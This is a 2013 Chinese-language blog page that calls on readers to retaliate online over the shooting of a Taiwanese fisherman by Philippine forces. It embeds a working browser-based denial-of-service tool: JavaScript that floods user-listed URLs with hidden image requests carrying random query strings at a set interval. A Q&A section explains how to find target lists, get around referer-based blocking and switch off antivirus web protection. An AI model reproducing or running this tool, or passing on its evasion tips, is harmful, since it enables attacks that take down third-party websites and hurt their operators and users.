2013年5月14日 星期二

鍵盤開戰

<h1>你還在忍耐嗎?</h1>
        <ul><li>
          <a target="_blank" href="http://www.appledaily.com.tw/realtimenews/article/international/20130510/179102/%E6%88%91%E6%BC%81%E8%88%B9%E9%81%AD%E9%96%8B%E6%A7%8D%E3%80%80%E8%8F%B2%E5%BE%8B%E8%B3%93%E5%90%8C%E6%83%85%E3%80%8C%E4%B8%8D%E9%81%93%E6%AD%89%E3%80%8D">我漁船遭開槍 菲律賓同情「不道歉」</a>
        </li></ul>
        <ul><li>
          <a target="_blank" href="http://newtalk.tw/news_read.php?oid=36316">菲開34槍射殺台漁民 馬英九:不善罷甘休 </a>
        </li></ul>
        <ul><li>
          <a target="_blank" href="http://newtalk.tw/news_read.php?oid=36326">洪石成家屬悲痛 要政府討公道</a>
        </li></ul>
        <ul><li>
          <a target="_blank" href="http://newtalk.tw/discussion_list.php?oid=181">更多</a>
        </li></ul>
 <h2>Q And A</h2>
<pre>
Q:要怎麼用?
首先你要先去找網站清單, 貼在下方的框框裡面,
然後設定好秒數後按下開始!
Q: 為什麼預設的網站不見了
由於有網友建議不要太針對特定網站, 於是改成這樣
請見諒並尋找低調的網址清單
Q:關於會不會一直有效的問題
只要是網站, 還是會存在referer的問題
也就是他會去看你的流量來源, 像這個網址就是blogspot.com blablabla開頭
對方網管只要看到referer是blogspot.com就擋掉, 那就沒問題了
解法也很簡單, 自己找一個hostname架上去, 或者是自己把html下載下來打開
這樣就不會有referer的問題, 就只剩下ban IP的解法了,
開大決就是把台灣網段的IP全擋掉這樣
Q: 到底怎麼確定她是有在跑
你可以看狀態列, 或者是chrome的話可以按F12看看有沒有在抓東西
Q: 改太快有沒有用
這數字看你的網卡、瀏覽器實做、CPU能力、防毒軟體/防火牆設定
沒有一定, 但我可以跟你保證太快絕對沒有比較好XD
ps: 請注意, 有小紅傘的話記得關掉web Protection, 不然有機會當掉
</pre>
<h3>總次數: <span id="total"></span></h3>
      <h3>參數</h3>
      <p>
        <input type="text" id="sec" value="1.5" /> 秒 / 次
      </p>
      <h3>新增網站 <small>一行一個</small></h3>
      <p>
        <textarea id="addurl" style="width: 50%; height: 100px;"></textarea>
      </p>
        <table>
          <tbody id="sites"></tbody>
        </table>
      <button id="btn-start" class="btn btn-success btn-large">儲存並開始!</button>
      <div id="board"></div>
<script id="t-img" type="text/template">
  <img style="display: none;" id="img-<%= i %>" src="<%= url %>" />
</script>
<script id="t-sites" type="text/template">
<% _.each(sites, function (site) { %>
<tr>
  <td><%= site.url %></td>
  <td>瀏覽了 <%= site.requested %> 次網頁</td>
  <td><button onclick="toggleStop(<%= site.id %>)" class="btn btn-<%= site.disabled ? "success" : "danger" %>"><%= site.disabled ? "啟用" : "停用" %></td>
</tr>
<% }); %>
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script src="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/js/bootstrap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.4.4/underscore-min.js"></script>
<!--script src="https://cdnjs.cloudflare.com/ajax/libs/backbone.js/1.0.0/backbone-min.js"></script-->
<script type="text/javascript">
var target_domain_name = [];
$(function () {
  var board = $('#board'),
    el_Total = $('#total'),
    el_Title = $('#title'),
    disabledSite = {},
    requested = {},
    totalRequest = 0,
    T_img = _.template($('#t-img').html()),
    T_tbody = _.template($('#t-sites').html()),
    rate = 1500,
    timeoutObj = null;
  var iframe_refresh = function (i, url) {
    i = i.toString();
    var random_token = Math.random();
    url += "/?" + random_token.toString(16).substr(2) + '=' + random_token.toString().substr(2);
    if ($('#img-' + i).length == 0) {
      board.append(T_img({i: i, url: url}));
    } else {
      var dom = $('#img-' + i);
      dom.attr('src', url);
    }
  };
  var ddos = function () {
    _.each(target_domain_name, function (url, i) {
      if (typeof disabledSite[i] == 'undefined'
        || !disabledSite[i]) {
        iframe_refresh(i, url);
        if (!requested[i])
          requested[i] = 0;
        requested[i]++;
        totalRequest++;
      }
    });
    render_table();
    el_Total.text(totalRequest);
    timeoutObj = setTimeout(ddos, rate);
  };
  var lastLogNum = 0;
  var render_table = function () {
    var data = [];
    _.each(target_domain_name, function (url, i) {
      var row = {};
      row['url'] = url;
      row['id'] = i;
      row['requested'] = requested[i];
      if (typeof disabledSite[i] == 'undefined'
        || !disabledSite[i]) {
        row['disabled'] = false;
      } else {
        row['disabled'] = true;
      }
      data.push(row);
    });
    $('#sites').html(T_tbody({sites: data}));
  };
  window.toggleStop = function (id) {
    if (disabledSite[id]) {
      disabledSite[id] = false;
    } else {
      disabledSite[id] = true;
    }
    render_table();
  }
  window.addUrl = function () {
    var urls = $('#addurl').val().split("\n");
    target_domain_name = _.union(target_domain_name, urls);
    target_domain_name = _.uniq(target_domain_name);
    target_domain_name = _.without(target_domain_name, '');
    render_table();
  }
  $('#btn-start').click(function () {
    addUrl();
    rate = parseFloat($('#sec').val(), 10) * 1000;
    if ( isNaN(rate) ) {
      rate = 1500;
    }
    if (timeoutObj)
        clearTimeout(timeoutObj);
    ddos();
  });
  render_table();
});
</script>

沒有留言:

張貼留言